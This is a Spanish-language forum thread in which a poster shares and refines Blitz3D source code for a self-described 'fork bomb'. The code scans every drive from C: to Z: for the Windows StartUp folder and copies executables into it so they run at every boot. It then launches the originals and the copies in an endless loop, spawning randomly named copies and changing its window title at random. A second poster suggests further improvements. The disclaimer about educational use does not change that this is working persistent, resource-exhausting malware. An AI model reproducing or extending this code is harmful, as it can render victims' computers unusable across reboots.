Lol, buena idea usar la carpeta de StartUp.
Te enciende el PC? O tienes que arrancar en modo seguro?
Si quieres mejorarlo busca la ruta programáticamente, o bruteforcea la ruta. Mucha gente tiene la instalación en D:
Igual si simplemente usas de ruta %StartUp% te la pilla. Si no puedes hacerlo desde la CMD.
Estas cosas molan UwU.
Hola, String Manolo.
Sobre la ruta, hay algunas cosas que no están disponibles en Blitz 3D pero que si que lo están en otros lenguajes como Batch (como usar de ruta %StartUp%), y por eso he publicado el código como ejemplo y lo de extrapolar el código a otros lenguajes con fines didácticos.
Por otra parte, y, ahora que comentas sobre la instalación en D:, habría una opcion no muy eficiente para intentar buscar la carpeta de StartUP y no usar %StartUp%, que basicamente seria reemplazar la linea de codigo donde defino dir_base$ por el siguiente codigo:
cant_unidades#=3
Dim unidades$(cant_unidades#)
unidades$(0)="C:\"
unidades$(1)="D:\"
unidades$(2)="E:\"
unidades$(3)="F:\"
For tr#=0 To cant_unidades#
dir_base$=unidades$(0)+"ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
If FileType(dir_base$)=2
dir_base$=dir_base$+"\programa.exe"
EndIf
If FileType(dir_base$)=0 Or If FileType(dir_base$)=2
CopyFile filename$,dir_base$
EndIf
Next
Y, bueno, solo decir dos cosas;
-La primera es que, en la matriz que he creado, se deberían añadir las unidades donde se quiere buscar la carpeta StartUp
-La segunda es que, para no complicarse la vida modificando códigos, he utilizado la variable "cant_unidades#" para definir el tamaño de la matriz y poder añadir mas o menos unidades. Por otra parte, también la he usado como valor maximo del bucle For-Next para que compruebe todas las unidades.
Eso si, insisto en lo que ya he dicho al crear el tema:
Hola, veréis, el caso es que quería compartir un código de ejemplo de bomba fork que he hecho en Blitz3D, o, almenos, en el sentido de usarlo con fines didácticos (por ejemplo, extrapolando el código a otros lenguajes para después modificarlo), y, obviamente, no usarlo para destructivos.
Por otra parte, antes de pasar el código, recordar que el mal uso recae sobre el usuario que lo utiliza con fines no éticos/ilegales.
Muchas gracias por vuestra atención, y, bueno, saludos.
EDITO: Justo ahora acabo de ver un error en el segundo codigo que he añadido como mejora y he editado el mensaje para rectificar el error.
El error del codigo es este:
If FileType(dir_base$)=0 Or If FileType(dir_base$)=2
dir_base$=dir_base$+"\programa.exe"
EndIf
Y el código corregido es la siguiente:
If FileType(dir_base$)=2
dir_base$=dir_base$+"\programa.exe"
CopyFile filename$,dir_base$
EndIf
Y, bueno, como nota para dejar constancia del error de programación, básicamente el programa tenia que añadir la ruta con el nombre de fichero de destino cuando encontraba la ruta, pero con el error también lo hacia cuando no se encontraba la ruta con el directorio para añadir el archivo.
EDITO 2:
Justo ahora acabo de actualizar el código para hacer pruebas, y, bueno, quisiera aprovechar para compartir los avances del código de ejemplo que ya he publicado;
SeedRnd MilliSecs()
tit#=Rnd(0,999999999999)
num$=Str tit#
AppTitle num$
;generar una lista de unidades excluyendo las unidades A:\ y B:\ reservadas para disqueteras.
Dim unit$(24)
unit$(0)="ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
unit$(1)="C:\"
unit$(2)="D:\"
unit$(3)="E:\"
unit$(4)="F:\"
unit$(5)="G:\"
unit$(6)="H:\"
unit$(7)="I:\"
unit$(8)="J:\"
unit$(9)="K:\"
unit$(10)="L:\"
unit$(11)="M:\"
unit$(12)="N:\"
unit$(13)="O:\"
unit$(14)="P:\"
unit$(15)="Q:\"
unit$(16)="R:\"
unit$(17)="S:\"
unit$(18)="T:\"
unit$(19)="U:\"
unit$(20)="V:\"
unit$(21)="W:\"
unit$(22)="X:\"
unit$(23)="Y:\"
unit$(24)="Z:\"
;comprueba el directorio actual
dir_actual$=CurrentDir()
;comprobacion de archios del directorio actual.
dir_act=ReadDir(dir_actual$)
.chk_file
tit#=Rnd(0,999999999999)
num$=Str tit#
AppTitle num$
file_act$=NextFile$(dir_act)
If file_act$=""
;si no se encuentran mas archivos, salta a la sección de copiar archivos
;a la carpeta para ejecutar programas al iniciar windows.
cant_exe#=cant_exe#-1
Goto ejecucion
EndIf
;usa la variable extens$ para comprobar toda (o parte) de la extension del archivo
extens$=Right$(file_act$,4)
If extens$=".exe"
;si la extension del archivo es .exe guarda la ruta del archivo en una matriz
;para fijar el tamaño de la matriz, se utilizara la variable cant_exe#; Se
;le asignara el valor 0 en caso de que no se haya creado, y, despues de
;crearla y/o añadirle nuevos archivos, su valor se incrementara en 1.
;Obviamente, se le restara 1 a su valor cuando se necesite acceder a todos los
;datos de la matriz.
If cant_exe#=0
;si no se ha creado la matriz, se crea antes de añadirle la ruta del archivo.
Dim exe_list$(0,2)
exe_list$(0,0)=dir_actual$=dir_actual$+file_act$
exe_list$(0,1)=file_act$
cant_exe#=cant_exe#+1
EndIf
If cant_exe#>0
;si ya existe, y, dado que al volver a crear una matriz se borran los datos de esta,
;se crea una segunda matriz para volcar la informacion.
cant_exe#=cant_exe#-1
Dim exe_list_0_b$(cant_exe#,1)
For count#=0 To cant_exe#
For con_2#=0 To 1
exe_list_0_b$(count#,con_2#)=exe_list$(count#,con_2#)
Next
Next
cant_exe#=cant_exe#+1
Dim exe_list$(cant_exe#,2)
cant_exe#=cant_exe#-1
;Con la 1a matriz redimensionada, se vuelve a copiar la informacion en esta.
For count#=0 To cant_exe#
For con_2#=0 To 1
exe_list$(count#,con_2#)=exe_list_0_b$(count#,con_2#)
Next
Next
cant_exe#=cant_exe#+1
EndIf
EndIf
Goto chk_file
.ejecucion
;en esta parte, se utilizara la lista de unidades (posicion 1 a 24 de la matriz unit$())
;mas la ruta indicada en la posicion "0" para localizar el directorio %StartUp%
For count#=1 To 24
dir_destino$=unit$(count#)+unit$(0)
If FileType(dir_destino$)=2
;si se ha encontrado y es el directorio actual del programa, se pasara
;a la ultima parte del programa.
If dir_actual$=dir_destino$
Goto autoruning
EndIf
;si se ha encontrado se pasara a copiar los .exe a este directorio
For count_2#=0 To cant_exe#
exe_list$(count_2#,2)=dir_destino$+exe_list$(count_2#,1)
CopyFile exe_list$(count_2#,0),exe_list$(count_2#,2)
Next
EndIf
Next
.autoruning
tit#=Rnd(0,999999999999)
num$=Str tit#
AppTitle num$
;con todo ya hecho, se ejecutaran todos los .exe de forma indefinida
For count_2#=0 To cant_exe#
;se ejecuta el archivo original y el archivo copiado
ExecFile(exe_list$(count_2#,0))
ExecFile(exe_list$(count_2#,2))
;genera un numero aleatorio
tit#=Rnd(0,999999999999)
num$=Str tit#
gremlin_exe$=dir_destino$+num$+".exe"
;se realiza una copia el archivo ejecutado y su nombre es el numero aleatorio.
CopyFile exe_list$(count_2#,0),gremlin_exe$
;y se vuelve a ejecuta la copia del archivo ejecutado
ExecFile(exe_list$(count_2#,0))
Next
Goto autoruning
Y, bueno, solo decir que toda critica es bienvenida.